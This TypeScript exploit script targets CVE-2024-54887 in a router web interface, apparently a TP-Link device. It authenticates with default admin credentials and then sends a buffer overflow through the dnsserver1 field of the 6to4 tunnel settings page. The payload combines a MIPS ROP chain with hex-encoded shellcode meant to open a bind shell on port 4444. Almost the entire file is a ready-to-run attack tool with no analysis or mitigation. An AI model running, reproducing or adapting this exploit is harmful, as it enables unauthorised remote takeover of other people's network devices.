import {createHash} from "node:crypto"; type CliArgs = { ip: string; username: string; password: string; }; function printUsage(): void { console.log(`Usage: ts-node cve-2024-54887.ts -i [-u ] [-p ] ts-node cve-2024-54887.ts --ip [--username ] [--password ] Defaults: username: admin password: admin `); } function parseArgs(argv: string[]): CliArgs | null { let ip = ""; let username = "admin"; let password = "admin"; for (let i = 0; i < argv.length; i += 1) { const arg = argv[i]; const next = argv[i + 1]; if (arg === "-i" || arg === "--ip") { ip = next ?? ""; i += 1; continue; } if (arg === "-u" || arg === "--username") { username = next ?? ""; i += 1; continue; } if (arg === "-p" || arg === "--password") { password = next ?? ""; i += 1; continue; } if (arg === "-h" || arg === "--help") { return null; } } if (!ip) { return null; } return {ip, username, password}; } function percentEncodeBytes(buffer: Buffer): string { return Array.from(buffer, (byte) => `%${byte.toString(16).padStart(2, "0")}`).join(""); } function packUint32BE(value: number): Buffer { const buffer = Buffer.alloc(4); buffer.writeUInt32BE(value >>> 0); return buffer; } function extractSessionToken(loginHtml: string): string { const match = loginHtml.match(/top\.location\.href='\/([^/]+)\/userRpm\//); if (!match?.[1]) { throw new Error("Unable to extract authenticated session path from login response."); } return match[1]; } async function login(ip: string, username: string, password: string): Promise<{ sessionUrl: string; auth: string }> { const passwordHash = createHash("md5").update(password, "utf8").digest("hex"); const auth = Buffer.from(`${username}:${passwordHash}`, "utf8").toString("base64"); const url = `http://${ip}/userRpm/LoginRpm.htm?Save=Save`; console.log(`[+] Sending login request to: ${url}`); const response = await fetch(url, { method: "GET", headers: { Cookie: `Authorization=Basic%20${encodeURIComponent(auth)}`, Referer: `http://${ip}/`, }, }); const body = await response.text(); const randomUrl = extractSessionToken(body); const sessionUrl = `http://${ip}/${randomUrl}/userRpm/`; console.log(`[+] Authenticated successfully! Session URL: ${sessionUrl}`); return {sessionUrl, auth}; } async function exploit(sessionUrl: string, auth: string): Promise { console.log(`[+] Sending exploit to: ${sessionUrl}Wan6to4TunnelCfgRpm.htm`); const libcBase = 0x2aae2000; const shellcode = Buffer.from( "240ffffa01e0782725e4fffd25e5fffd25e6fffb240210570101010c245010102604eff025e8fffda7a8ffec2408115ca7a8ffee25e8fffba7a8fff025e8fffba7a8fff227a5ffec240a212139462137240210490101010c2604eff025e5fffd2402104e0101010c240efffa01c070272604eff025c5fffb25c6fffb25c7fffb240210480101010c24511010240dfffa01a068272624eff025a5fffb24020fdf0101010c2624eff025a5fffc24020fdf0101010c0220202525a5fffd24020fdf0101010c240cfffa018060273c082f622508696eafa8ffec3c082f7325086868afa8fff0a3a0fff327a4ffecafa4fff8afa0fffc27a5fff82586fffb24020fab0101010c", "hex", ); const nop = Buffer.from("2770c001", "hex"); const sleep = packUint32BE(libcBase + 0x53ca0); const gadget1 = packUint32BE(libcBase + 0x3680c); const gadget2 = packUint32BE(libcBase + 0x384fc); const gadget3 = packUint32BE(libcBase + 0x2459c); const gadget4 = packUint32BE(libcBase + 0x154d8); let payload = "A".repeat(596); payload += percentEncodeBytes(nop); payload += percentEncodeBytes(gadget4); payload += percentEncodeBytes(nop); payload += percentEncodeBytes(sleep); payload += percentEncodeBytes(gadget3); payload += percentEncodeBytes(gadget2); payload += percentEncodeBytes(nop).repeat(3); payload += percentEncodeBytes(gadget1); payload += "B".repeat(40); payload += percentEncodeBytes(shellcode); const exploitUrl = `${sessionUrl}Wan6to4TunnelCfgRpm.htm?ipv6Enable=on&wantype=5&enableTunnel=on&mtu=1480&manual=2&dnsserver1=${payload}` + "&dnsserver2=2001%3A4860%3A4860%3A%3A8888&ipAssignType=0&ipStart=1000&ipEnd=2000&time=86400&ipPrefixType=0&staticPrefix=&staticPrefixLength=64&Save=Save"; const controller = new AbortController(); const timeout = setTimeout(() => controller.abort(), 1000); try { await fetch(exploitUrl, { method: "GET", headers: { Cookie: `Authorization=Basic%20${encodeURIComponent(auth)}`, Referer: `${sessionUrl}Wan6to4TunnelCfgRpm.htm`, }, signal: controller.signal, }); } catch { } finally { clearTimeout(timeout); } } async function runSpinner(seconds: number): Promise { const chars = ["-", "/", "|", "\\"]; let index = 0; const endAt = Date.now() + seconds * 1000; while (Date.now() < endAt) { process.stdout.write(chars[index % chars.length]); process.stdout.write("\b"); index += 1; await new Promise((resolve) => setTimeout(resolve, 100)); } } async function main(): Promise { if (process.argv.includes("-h") || process.argv.includes("--help")) { printUsage(); return; } const args = parseArgs(process.argv.slice(2)); if (!args) { printUsage(); process.exitCode = 1; return; } const {sessionUrl, auth} = await login(args.ip, args.username, args.password); await exploit(sessionUrl, auth); console.log("[+] Exploit sent! Giving shellcode time to execute..."); await runSpinner(8); console.log("[+] Done! Check for a bind shell on port 4444"); } main().catch((error: unknown) => { const message = error instanceof Error ? error.message : String(error); console.error(`Error: ${message}`); process.exitCode = 2; });